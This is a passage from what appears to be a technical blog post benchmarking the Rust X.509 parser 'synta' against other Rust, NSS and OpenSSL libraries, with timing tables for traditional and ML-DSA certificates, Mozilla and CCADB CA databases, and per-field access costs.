&lt;p&gt;The dominant cost in X.509 parsing is Distinguished Name traversal: a certificate’s issuer and subject each contain a SEQUENCE OF SET OF SEQUENCE with per-attribute OID lookup. &lt;code&gt;synta&lt;/code&gt; defers this entirely by storing the &lt;code&gt;Name&lt;/code&gt; as a &lt;code&gt;RawDer&amp;lt;'a&amp;gt;&lt;/code&gt; — a pointer+length into the original input with no decoding. &lt;code&gt;cryptography-x509&lt;/code&gt; takes a similar deferred approach. The &lt;code&gt;nom&lt;/code&gt;-based and &lt;code&gt;RustCrypto&lt;/code&gt; libraries decode Names eagerly. &lt;code&gt;NSS&lt;/code&gt; goes further and formats them into C strings, which is the dominant fraction of its 16× parse overhead.&lt;/p&gt;

&lt;p&gt;For benchmarking I used certificates from PyCA test vectors. There are few certificates with different properties, so we parse them multiple times and then average numbers:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Certificate&lt;/th&gt;
      &lt;th&gt;synta&lt;/th&gt;
      &lt;th&gt;cryptography-x509&lt;/th&gt;
      &lt;th&gt;x509-parser&lt;/th&gt;
      &lt;th&gt;x509-cert&lt;/th&gt;
      &lt;th&gt;NSS&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;cert_00 (NoPolicies)&lt;/td&gt;
      &lt;td&gt;1333.7 ns&lt;/td&gt;
      &lt;td&gt;1386.7 ns&lt;/td&gt;
      &lt;td&gt;1815.9 ns&lt;/td&gt;
      &lt;td&gt;2990.6 ns&lt;/td&gt;
      &lt;td&gt;7940.3 ns&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;cert_01 (SamePolicies-1)&lt;/td&gt;
      &lt;td&gt;1348.8 ns&lt;/td&gt;
      &lt;td&gt;1441.0 ns&lt;/td&gt;
      &lt;td&gt;2033.4 ns&lt;/td&gt;
      &lt;td&gt;3174.3 ns&lt;/td&gt;
      &lt;td&gt;7963.8 ns&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;cert_02 (SamePolicies-2)&lt;/td&gt;
      &lt;td&gt;1338.6 ns&lt;/td&gt;
      &lt;td&gt;1440.1 ns&lt;/td&gt;
      &lt;td&gt;2120.1 ns&lt;/td&gt;
      &lt;td&gt;3205.6 ns&lt;/td&gt;
      &lt;td&gt;8206.8 ns&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;cert_03 (anyPolicy)&lt;/td&gt;
      &lt;td&gt;1362.4 ns&lt;/td&gt;
      &lt;td&gt;1468.3 ns&lt;/td&gt;
      &lt;td&gt;2006.2 ns&lt;/td&gt;
      &lt;td&gt;3194.5 ns&lt;/td&gt;
      &lt;td&gt;7902.4 ns&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;cert_04 (AnyPolicyEE)&lt;/td&gt;
      &lt;td&gt;1232.9 ns&lt;/td&gt;
      &lt;td&gt;1424.7 ns&lt;/td&gt;
      &lt;td&gt;1968.6 ns&lt;/td&gt;
      &lt;td&gt;3168.1 ns&lt;/td&gt;
      &lt;td&gt;7913.1 ns&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Average&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;1323 ns&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;1432 ns&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;1989 ns&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;3147 ns&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;7985 ns&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The gap between synta (1.32 µs) and cryptography-x509 (1.43 µs) is tighter here than in parse-only (3.0×) because synta’s field access includes two &lt;code&gt;format_dn()&lt;/code&gt; calls (~800 ns combined) that cryptography-x509 does for effectively free (its offsets were computed at parse time). Synta leads by ~8% overall.&lt;/p&gt;

&lt;p&gt;Now, when parsing PQC certificates, an interesting thing happens. First, it is faster to parse ML-DSA than traditional certificates.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Certificate&lt;/th&gt;
      &lt;th&gt;synta&lt;/th&gt;
      &lt;th&gt;cryptography-x509&lt;/th&gt;
      &lt;th&gt;x509-parser&lt;/th&gt;
      &lt;th&gt;x509-cert&lt;/th&gt;
      &lt;th&gt;NSS&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;ML-DSA-44&lt;/td&gt;
      &lt;td&gt;1030.9 ns&lt;/td&gt;
      &lt;td&gt;1256.4 ns&lt;/td&gt;
      &lt;td&gt;1732.2 ns&lt;/td&gt;
      &lt;td&gt;2666.0 ns&lt;/td&gt;
      &lt;td&gt;7286.9 ns&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ML-DSA-65&lt;/td&gt;
      &lt;td&gt;1124.9 ns&lt;/td&gt;
      &lt;td&gt;1237.5 ns&lt;/td&gt;
      &lt;td&gt;1690.5 ns&lt;/td&gt;
      &lt;td&gt;2664.2 ns&lt;/td&gt;
      &lt;td&gt;7222.1 ns&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ML-DSA-87&lt;/td&gt;
      &lt;td&gt;1102.6 ns&lt;/td&gt;
      &lt;td&gt;1226.5 ns&lt;/td&gt;
      &lt;td&gt;1727.2 ns&lt;/td&gt;
      &lt;td&gt;2696.6 ns&lt;/td&gt;
      &lt;td&gt;7284.6 ns&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Average&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;1086 ns&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;1240 ns&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;1717 ns&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;2675 ns&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;7265 ns&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;code&gt;synta&lt;/code&gt;’s ML-DSA parse+fields (1.09 µs) is faster than its traditional parse+fields (1.32 µs)
because ML-DSA test certificates have shorter Distinguished Names (one attribute each in issuer and subject vs multiple attributes in traditional certificates in the test above). The signature BIT STRING — which is 2,420–4,627 bytes for ML-DSA — is accessed as a zero-copy slice with no size-dependent cost.&lt;/p&gt;

&lt;h3 id=&quot;processing-ca-databases&quot;&gt;Processing CA databases&lt;/h3&gt;

&lt;p&gt;Imaging your app needs to test whether the certificate presented by a client is known to you (e.g. belongs to a trusted CAs set). A library like OpenSSL looks at the client’s certificate, extracts identifiers of the certificate issuer, looks up whether such issuer is known in the CA database. That would require looking up properties of the certificates in the database. The fast we can do that, the better.&lt;/p&gt;

&lt;p&gt;All those numbers in the previous section are for a single certificate being parsed millions of times. In a real app we often need to validate the certificate against a system-wide database of certificate authorities. The database used by Fedora and other Linux distributions comes from Firefox. It contains 180 self-signed root CA certificates for all public CAs with diverse key types (RSA 2048/4096, ECDSA P-256/P-384) and DN structures. The median cert by DER size is “Entrust.net Premium 2048 Secure Server CA” (1,070 bytes); the benchmark uses this cert for single-certificate and field-access sub-benchmarks to get stable results that are not sensitive to certificate-size outliers.&lt;/p&gt;

&lt;p&gt;Another data I tried to benchmark against is 9,898 certificates from the Common CA Database (CCADB), covering the full multi-level hierarchy used by Mozilla, Chrome, Apple, and Microsoft:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Depth&lt;/th&gt;
      &lt;th&gt;Count&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;919&lt;/td&gt;
      &lt;td&gt;Root CAs (self-signed)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;6,627&lt;/td&gt;
      &lt;td&gt;Intermediates issued directly by roots&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;2,212&lt;/td&gt;
      &lt;td&gt;Two levels deep&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;137&lt;/td&gt;
      &lt;td&gt;Three levels deep&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;4&lt;/td&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;Four levels deep&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Intermediate CA certificates tend to have more complex DNs and more extensions than the root
CAs in the Mozilla store. The CCADB median cert is “Bayerische SSL-CA-2014-01” (10,432 bytes). These certificates from CCADB cover past 30 years of certificate issuance on the internet.&lt;/p&gt;

&lt;p&gt;To see how those benchmarks would behave if CA roots database would be built with post quantum cryptography, I rebuilt the CCADB corpus as ML-DSA certificates. Nine CCADB certificates were skipped: OpenSSL’s &lt;code&gt;x509 -x509toreq -copy_extensions copy&lt;/code&gt; step failed to convert them to CSR form, typically because those certs use non-standard DER encodings or critical extensions that the &lt;code&gt;x509toreq&lt;/code&gt; pipeline cannot copy into a PKCS#10 request. (The failures are in OpenSSL’s cert→CSR conversion; synta parses all 9,898 original CCADB certs without error.) This leaves 9,889 of the original 9,898 certs in the synthetic database.&lt;/p&gt;

&lt;p&gt;The median cert by DER size is “TrustCor Basic Secure Site (CA1)” (6,705 bytes). ML-DSA certs range from 5,530 B to 16,866 B; the distribution is shifted left relative to the CCADB RSA/ECDSA median (10,432 B) because the smallest CCADB certs (compact root CAs with few extensions) become the new median position after ML-DSA key replacement enlarges all certs uniformly.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Benchmark&lt;/th&gt;
      &lt;th&gt;Library&lt;/th&gt;
      &lt;th&gt;Dataset&lt;/th&gt;
      &lt;th&gt;Time&lt;/th&gt;
      &lt;th&gt;Throughput&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;synta_parse_all&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;synta&lt;/td&gt;
      &lt;td&gt;Mozilla (180 certs)&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;87.8 µs&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;2.0 M/sec&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;nss_parse_all&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;NSS&lt;/td&gt;
      &lt;td&gt;Mozilla (180 certs)&lt;/td&gt;
      &lt;td&gt;1.577 ms&lt;/td&gt;
      &lt;td&gt;114 K/sec&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;openssl_parse_all&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;rust-openssl&lt;/td&gt;
      &lt;td&gt;Mozilla (180 certs)&lt;/td&gt;
      &lt;td&gt;3.552 ms&lt;/td&gt;
      &lt;td&gt;50.7 K/sec&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;ossl_parse_all&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;ossl&lt;/td&gt;
      &lt;td&gt;Mozilla (180 certs)&lt;/td&gt;
      &lt;td&gt;3.617 ms&lt;/td&gt;
      &lt;td&gt;49.8 K/sec&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;synta_parse_and_access&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;synta&lt;/td&gt;
      &lt;td&gt;Mozilla (180 certs)&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;261 µs&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;690 K/sec&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;synta_build_trust_chain&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;synta&lt;/td&gt;
      &lt;td&gt;Mozilla (180 certs)&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;11.6 µs&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;—&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;synta_parse_all&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;synta&lt;/td&gt;
      &lt;td&gt;CCADB (9,898 certs)&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;5.10 ms&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;1.94 M/sec&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;nss_parse_all&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;NSS&lt;/td&gt;
      &lt;td&gt;CCADB (9,898 certs)&lt;/td&gt;
      &lt;td&gt;106 ms&lt;/td&gt;
      &lt;td&gt;93 K/sec&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;openssl_parse_all&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;rust-openssl&lt;/td&gt;
      &lt;td&gt;CCADB (9,898 certs)&lt;/td&gt;
      &lt;td&gt;203 ms&lt;/td&gt;
      &lt;td&gt;48.8 K/sec&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;ossl_parse_all&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;ossl&lt;/td&gt;
      &lt;td&gt;CCADB (9,898 certs)&lt;/td&gt;
      &lt;td&gt;214 ms&lt;/td&gt;
      &lt;td&gt;46.3 K/sec&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;synta_parse_and_access&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;synta&lt;/td&gt;
      &lt;td&gt;CCADB (9,898 certs)&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;16.1 ms&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;615 K/sec&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;synta_parse_roots&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;synta&lt;/td&gt;
      &lt;td&gt;CCADB (919 roots)&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;457.7 µs&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;2.01 M/sec&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;synta_parse_intermediates&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;synta&lt;/td&gt;
      &lt;td&gt;CCADB (8,979 intermediates)&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;4.735 ms&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;1.90 M/sec&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;synta_build_dependency_tree&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;synta&lt;/td&gt;
      &lt;td&gt;CCADB (9,898 certs)&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;559 µs&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;—&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;synta_parse_all&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;synta&lt;/td&gt;
      &lt;td&gt;ML-DSA synth (9,889 certs)&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;5.78 ms&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;1.71 M/sec&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;nss_parse_all&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;NSS&lt;/td&gt;
      &lt;td&gt;ML-DSA synth (9,889 certs)&lt;/td&gt;
      &lt;td&gt;103 ms&lt;/td&gt;
      &lt;td&gt;96.4 K/sec&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;openssl_parse_all&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;rust-openssl&lt;/td&gt;
      &lt;td&gt;ML-DSA synth (9,889 certs)&lt;/td&gt;
      &lt;td&gt;239 ms&lt;/td&gt;
      &lt;td&gt;41.4 K/sec&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;ossl_parse_all&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;ossl&lt;/td&gt;
      &lt;td&gt;ML-DSA synth (9,889 certs)&lt;/td&gt;
      &lt;td&gt;256 ms&lt;/td&gt;
      &lt;td&gt;38.6 K/sec&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;synta_parse_and_access&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;synta&lt;/td&gt;
      &lt;td&gt;ML-DSA synth (9,889 certs)&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;17.5 ms&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;566 K/sec&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;synta_parse_roots&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;synta&lt;/td&gt;
      &lt;td&gt;ML-DSA synth (919 roots)&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;463 µs&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;1.98 M/sec&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;synta_parse_intermediates&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;synta&lt;/td&gt;
      &lt;td&gt;ML-DSA synth (8,970 ints.)&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;5.10 ms&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;1.76 M/sec&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;synta_build_dependency_tree&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;synta&lt;/td&gt;
      &lt;td&gt;ML-DSA synth (9,889 certs)&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;549 µs&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;—&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;NSS is &lt;strong&gt;18–21× slower&lt;/strong&gt; than &lt;code&gt;synta&lt;/code&gt; across all three datasets; &lt;code&gt;rust-openssl&lt;/code&gt; is &lt;strong&gt;40–41× slower&lt;/strong&gt; and &lt;code&gt;ossl&lt;/code&gt; is &lt;strong&gt;41–44× slower&lt;/strong&gt;. All three C-backed libraries successfully parse ML-DSA certificates (NSS 3.120+ and OpenSSL 3.4+ support ML-DSA natively). NSS’s absolute parse time is nearly identical across CCADB traditional certs (106 ms) and ML-DSA synthetic certs (103 ms) — confirming that NSS’s dominant cost is eager DN formatting at parse time, which depends on DN attribute count rather than the signature algorithm. The slightly lower relative slowdown for NSS on ML-DSA (18× vs 21×) is entirely because synta is slower on ML-DSA (5.78 ms vs 5.10 ms), not because NSS is faster.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;synta&lt;/code&gt;’s throughput is consistent at ~1.7–2.0 M certs/sec across all three datasets, confirming linear O(n) scaling. Parse rate is slightly lower for the ML-DSA synthetic hierarchy (1.71 M/sec) than for the CCADB traditional hierarchy (1.94 M/sec) because the larger ML-DSA SubjectPublicKeyInfo and signature BIT STRING fields add bytes to the tag+length-header scan that synta performs at parse time. The intermediates-only sub-benchmark is slightly lower than roots-only in each dataset (1.76 M/sec vs 1.98 M/sec for ML-DSA; 1.90 M/sec vs 2.01 M/sec for CCADB) because intermediate CAs tend to have more complex DNs and extension lists.&lt;/p&gt;

&lt;p&gt;Finally, individual property access for a pre-parsed certificate, single field read, no allocation unless noted:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Field&lt;/th&gt;
      &lt;th&gt;Mozilla (1,070 B)&lt;/th&gt;
      &lt;th&gt;CCADB (10,432 B)&lt;/th&gt;
      &lt;th&gt;ML-DSA (6,705 B)&lt;/th&gt;
      &lt;th&gt;Notes&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;issuer_raw&lt;/code&gt; / &lt;code&gt;subject_raw&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;4.1 / 4.1 ns&lt;/td&gt;
      &lt;td&gt;4.2 / 4.1 ns&lt;/td&gt;
      &lt;td&gt;4.5 / 4.4 ns&lt;/td&gt;
      &lt;td&gt;Zero-copy slice&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;public_key_bytes&lt;/code&gt; / &lt;code&gt;signature_bytes&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;4.1 / 4.1 ns&lt;/td&gt;
      &lt;td&gt;4.2 / 4.2 ns&lt;/td&gt;
      &lt;td&gt;4.6 / 4.4 ns&lt;/td&gt;
      &lt;td&gt;Zero-copy slice&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;signature_algorithm&lt;/code&gt; / &lt;code&gt;public_key_algorithm&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;5.9 / 5.4 ns&lt;/td&gt;
      &lt;td&gt;5.9 / 5.5 ns&lt;/td&gt;
      &lt;td&gt;6.3 / 6.4 ns&lt;/td&gt;
      &lt;td&gt;OID → &lt;code&gt;&amp;amp;'static str&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;serial_number&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;10.9 ns&lt;/td&gt;
      &lt;td&gt;6.8 ns&lt;/td&gt;
      &lt;td&gt;7.5 ns&lt;/td&gt;
      &lt;td&gt;Integer → i64, length-dependent&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;validity&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;180 ns&lt;/td&gt;
      &lt;td&gt;206 ns&lt;/td&gt;
      &lt;td&gt;231 ns&lt;/td&gt;
      &lt;td&gt;Two time-string allocations&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;issuer_dn&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;401 ns&lt;/td&gt;
      &lt;td&gt;224 ns&lt;/td&gt;
      &lt;td&gt;246 ns&lt;/td&gt;
      &lt;td&gt;&lt;code&gt;format_dn()&lt;/code&gt; → &lt;code&gt;String&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;subject_dn&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;404 ns&lt;/td&gt;
      &lt;td&gt;292 ns&lt;/td&gt;
      &lt;td&gt;324 ns&lt;/td&gt;
      &lt;td&gt;&lt;code&gt;format_dn()&lt;/code&gt; → &lt;code&gt;String&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Zero-copy fields (&lt;code&gt;issuer_raw&lt;/code&gt;, &lt;code&gt;subject_raw&lt;/code&gt;, &lt;code&gt;public_key_bytes&lt;/code&gt;, &lt;code&gt;signature_bytes&lt;/code&gt;) cost
~4–5 ns — the price of reading a pointer and length from a struct field. The slightly higher
cost for CCADB and ML-DSA fields vs Mozilla is within measurement noise.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;identify_signature_algorithm()&lt;/code&gt; and &lt;code&gt;identify_public_key_algorithm()&lt;/code&gt; match the OID
component array against a static table and return &lt;code&gt;&amp;amp;'static str&lt;/code&gt; — no allocation, no string
formatting. The ~5–6 ns cost is a few comparisons and a pointer return.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;serial_number&lt;/code&gt; cost depends on the integer’s byte length: the Entrust Mozilla cert carries
a 16-byte serial number (parsed via &lt;code&gt;SmallVec&amp;lt;[u8; 16]&amp;gt;&lt;/code&gt;), while the CCADB and ML-DSA
synthetic medians have shorter serials. At 10.9, 6.8, and 7.5 ns respectively, all are
negligible.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;validity&lt;/code&gt; (~180–231 ns) allocates two strings: UTCTime and GeneralizedTime are formatted
from their raw DER bytes into owned &lt;code&gt;String&lt;/code&gt;s. The two calls account for essentially all
of the cost; the &lt;code&gt;YYMMDDHHMMSSZ&lt;/code&gt; to RFC 3339 formatting is the dominant work.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;format_dn()&lt;/code&gt; is the most variable field: it walks the Name DER bytes, decodes each
SEQUENCE OF SET OF SEQUENCE, looks up each attribute OID by name, and formats the result
into an owned &lt;code&gt;String&lt;/code&gt;. The Mozilla cert’s issuer DN is more complex (multiple attributes,
longer values: 401 ns) than the CCADB median (224 ns) or the ML-DSA synthetic median
(246 ns). The ML-DSA synthetic median’s subject DN (324 ns) is slightly more expensive
than the CCADB median (292 ns) because a different cert occupies the median position after
key replacement. &lt;code&gt;format_dn()&lt;/code&gt; cost is proportional to the DN’s attribute count and string
lengths.&lt;/p&gt;

&lt;h3 id=&quot;why-c-libraries-are-slower&quot;&gt;Why C Libraries Are Slower&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;CERT_NewTempCertificate&lt;/code&gt; (NSS) and OpenSSL’s &lt;code&gt;d2i_X509&lt;/code&gt; perform significantly more work
per certificate than synta:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Eager DN formatting&lt;/strong&gt; — NSS formats the issuer and subject Distinguished Names into
internal C strings during &lt;code&gt;CERT_NewTempCertificate&lt;/code&gt;, even when the caller never reads
them. Distinguished Name formatting is the single most expensive operation in certificate
parsing; doing it unconditionally at parse time accounts for roughly 80% of NSS’s total
parse cost. OpenSSL decodes DN structure eagerly as well.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Arena and heap allocation&lt;/strong&gt; — each NSS certificate allocates a &lt;code&gt;PLArena&lt;/code&gt; block and
copies the full DER buffer into it (&lt;code&gt;copyDER = 1&lt;/code&gt;). OpenSSL allocates from the C heap.
These allocations are additional work beyond decoding.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Library state and locking&lt;/strong&gt; — NSS acquires internal locks on every
&lt;code&gt;CERT_NewTempCertificate&lt;/code&gt; call to update the certificate cache, even when the resulting
certificate is marked as temporary. This serialises concurrent parsing in multi-threaded
applications.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;FFI boundary costs&lt;/strong&gt; — the &lt;code&gt;rust-openssl&lt;/code&gt; and &lt;code&gt;ossl&lt;/code&gt; measurements include the overhead
of crossing from Rust into the C library via &lt;code&gt;extern &quot;C&quot;&lt;/code&gt; calls and pointer marshalling.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;synta&lt;/code&gt; defers all of (1): &lt;code&gt;issuer&lt;/code&gt; and &lt;code&gt;subject&lt;/code&gt; are stored as &lt;code&gt;RawDer&amp;lt;'a&amp;gt;&lt;/code&gt; (borrowed byte
spans) and decoded only when the caller calls &lt;code&gt;format_dn()&lt;/code&gt;. There is no locking, no arena,
and no FFI boundary.&lt;/p&gt;

